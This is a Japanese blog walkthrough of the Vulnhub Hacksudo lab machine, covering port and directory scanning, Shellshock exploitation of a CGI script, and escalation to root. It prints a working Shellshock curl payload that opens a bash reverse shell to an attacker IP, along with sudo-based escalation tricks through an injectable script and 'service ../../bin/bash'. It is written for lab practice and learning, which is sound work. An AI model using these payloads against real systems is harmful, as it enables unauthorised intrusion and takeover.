Writeup: Vulnhub Hacksudo 攻略
Vulnhub の Hacksudo の攻略メモ。
最初はWebサイトのフォームに気を取られて、余計な回り道をしたが、脆弱性に気づいてから後はあまり難しくなかった。
0.ダウンロード
Hacksudo は以下のリンクからダウンロードできる。
Virutal Boxにインポートしてから起動する。メモリは当初2GBの設定になっていたので1GBに変更。起動すると画面にIPアドレスが表示される。
問題なく起動したので、ここから攻略開始。
1. 攻略
1) ポートスキャン
22/tcp( ssh ) , 80/tcp (httpd ) のみが開いていた。
Nmap 7.92 scan initiated Sat Oct 8 01:45:03 2022 as: nmap -sS -sV -p- -n -T4 -v -oN ports.log -v 192.168.56.109
Nmap scan report for 192.168.56.109
Host is up, received arp-response (0.00031s latency).
Scanned at 2022-10-08 01:45:04 EDT for 11s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
21/tcp filtered ftp port-unreach ttl 64
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
2) 脆弱性探し
80/tcp が開いているので、とりあえずブラウザでアクセスしてみると、
なにやらログイン画面らしきものが表示されている。
ログイン画面をみると、とりあえず「SQLインジェクション」や「ブルートフォースアタック」を試してみたくなる。
トップページのソースを見ると何やら意味深なコメントがあり、「ブルートフォース」はユーザー名 Georgie を使用して実行した。
2時間ほどあれこれ試してみたが、結局何も出てこなかった。とほほ。。
気を取り直して、Webサイトのディレクトリをスキャンしてみる。
スキャンには gobuster を使用した。
/.htpasswd (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/cgi-bin/ (Status: 403) [Size: 279]
/fonts (Status: 301) [Size: 316] [--> http://192.168.56.109/fonts/]
/images (Status: 301) [Size: 317] [--> http://192.168.56.109/images/]
/index.php (Status: 200) [Size: 5357]
/server-status (Status: 403) [Size: 279]
おや? /cgi-bin/ がある。Apache のデフォルト設定が残っているのか?
このディレクトリを再度 gobuster でスキャンしてみる。
/.hta (Status: 403) [Size: 279]
/.hta.cgi (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htpasswd.cgi (Status: 403) [Size: 279]
/.htaccess.cgi (Status: 403) [Size: 279]
/backup.cgi (Status: 500) [Size: 612]
スキャン結果を見ると、backup.cgi へのアクセス結果が 500、つまり Internal Server Error になっていることを示している。このサーバーには 「Shell Shock」の脆弱性があるのかもしれない。
「Shell Shock」とは Bash に起因する脆弱性で、 () { :;}; という文字列に続くコマンドを無条件で実行してしまう、というものである。
Apache の場合は、「ユーザーエージェント」ヘッダに上記の文字列を挿入することで任意のコマンドが実行できる。試しに /usr/bin/id コマンドを挿入したHTTPリクエストを送ってみよう。
curl -A "() { :;}; echo Content-Type: text/html;echo; /usr/bin/id;" http://192.168.56.109/cgi-bin/backup.cgi
想定通り、サーバー側で /usr/bin/id が実行されたことが判る。
3) 侵入
前述のコマンドを /usr/bin/id ではなく、攻撃マシンにリバースシェルを返すコマンドに変更すれば、ターゲットに侵入することができる。
まず、攻撃マシン側の 4444番ポートでターゲットからの接続を待ち受ける。
次に、リバースシェルを返すためのコマンドを仕込んだ HTTPリクエストを ターゲットへ送る。
curl -A "() { :;}; echo Content-Type: text/html;echo; /usr/bin/bash -i >& /dev/tcp/192.168.56.101/4444 0>&1;" http://192.168.56.109/cgi-bin/backup.cgi
想定通り、シェルを奪取することができた。侵入成功である。
4) 権限昇格
www-data ユーザーでsudo が実行できることは現実ではまず無いが、CTFでは「あるある」なので、侵入したら一応は試してみることにしている。
どうやらthor ユーザーの権限で何かスクリプトが実行できるようだ。
良く判らない時は、とにかく実行して様子を見るのが一番である。ためしに実行すると、入力した文字列が画面に表示されるだけのようだ。。
ここでまた頭を抱えてしまった。。
う~ん、どうやって権限昇格すれば良いのだろう? sudo で起動するスクリプトは www-data ユーザーからは読むことすらできない。
sudo のバージョンが古いのは確かだが、パッチ適用済みらしく、既存の脆弱性は無さそうだ。
こういう時は、適当にやってみるに限る。
再度、気を取り直して、スクリプトを実行。先ほど hoge , foo などと入力した場所に コマンドを入力してみた。。
すると問題なく thor ユーザーの権限に昇格してしまった。あらら。。
このままだと、プロンプトが表示されておらず、ターミナルもアサインされていない状態なのですこぶる使いにくい。
こんな時は、以下のコマンドを入力してフツーのターミナルのようにする。
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
[CTRL] + Z
stty -echo raw; fg
これでフツーの使い勝手になった。
5) root権限奪取
最後は root 権限の奪取である。
とりあえず、thor で sudo が実行可能かチェックしてみる。
root 権限で /usr/sbin/service が使用できるなら話は早い。
service コマンドは 引数に指定されたスクリプトを /etc/init.d から探して実行する。つまり service ../../bin/bash とすることで、bash が実行されることになる。
これで無事 root 権限を得ることができた。
めでたし、めでたし。
この記事が気に入ったらサポートをしてみませんか?